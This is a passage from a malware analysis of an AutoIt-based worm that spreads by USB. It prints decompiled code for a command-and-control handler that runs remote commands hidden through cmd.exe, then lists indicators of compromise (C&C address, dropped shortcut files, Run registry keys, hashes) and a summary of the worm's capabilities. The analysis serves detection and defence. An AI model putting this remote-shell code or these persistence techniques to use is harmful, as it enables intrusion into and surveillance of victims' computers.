If it gets justuncommand, it triggers broken uninstaller function. Also you probably guessed theunkeyword is just standing _uninstall_.
                    Case $CNC_command_list[1] = "cmd"
                        If ShellExecute("cmd.exe", $CNC_command_list[2], """"@SW_HIDE) = 1 Then
                            DataReport("MSG0LIONW0Executed cmd.exe " & $CNC_command_list[2])
                        Else
                            DataReport("MSG0LIONW0Execute ERR cmd.exe " & $CNC_command_list[2])
                        EndIf
If it getscmdas first argument, it will try to run the command incmd.exe, however it not contains/cparameter so commands also needs the parameter to run command with it. Also it not reported output of the command. So it's a blind shell at all. You can run commands however never be sure what worked and what not worked. Probably the syntax is looking likecmd0LIONW0$commandto trigger that situation.
                EndSelect
            EndIf
    EndSelect
WEnd

5. IoC

5.1. Network Address

hxxp://googleads[.]publicvm[.]com:224/

5.2. Dropped Files

X:\MozillaFirefox
X:\MozillaFirefox\GoogleChrome.exe
X:\MozillaFirefox\GoogleChrome.a3x
X:\MozillaFirefox\GoogleChrome.lnk
X:\MozillaFirefox\GoogleUpdate.lnk
X:\MozillaFirefox\WindowsUpdate.lnk
X:\MozillaFirefox\MozillaFirefox.lnk
X:\GoogleChrome
X:\GoogleChrome\GoogleChrome.exe
X:\GoogleChrome\GoogleChrome.a3x
X:\GoogleChrome\GoogleChrome.lnk
X:\GoogleChrome\GoogleUpdate.lnk
X:\GoogleChrome\WindowsUpdate.lnk
X:\GoogleChrome\MozillaFirefox.lnk
X:\$folder_name\$folder_name.lnk
X:\*\My Music.lnk
X:\Documents.lnk
X:\Downloads.lnk
@StartupCommonDir\Google Chrome.lnk
@StartupCommonDir\GoogleUpdate.lnk

5.3. Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunJavaUpdateREG_SZC:\GoogleChrome\GoogleUpdate.lnk
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunNewJavaInstallREG_SZC:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunAdopeUpdateREG_SZC:\GoogleChrome\GoogleUpdate.lnk
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunAdopeFlashREG_SZC:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x

5.4. Hashes

GoogleChrome.a3x
md5:504d89bf4cd11c6557126ed1dc3d7504
sha1:bd4ba817d1fde5a936700907e8cf3fdfe539388c

6. TL;DR

The malware is abusing the AutoIt 3 (3.3.8.1) signed executable. And uses compiled AutoIt3 scripts (a3x) to distribute the malware. And since the malware dependent to runtime, uses Windows shortcuts that triggers malware.
It distributed by removable drives. And infect victim computer via malicious shortcut files. Any execution of shortcut files will trigger infection chain.
It can download any executable and run any arbitrary command via C&C server.
It reports username, desktop name, Windows version, cpu arch, drive serial, antivirus vendor before every C&C connections.
It adds startup triggers (via shortcuts and regedit values).
It changes firewall settings to allow itself.
It sends active windows titles in every 8 seconds.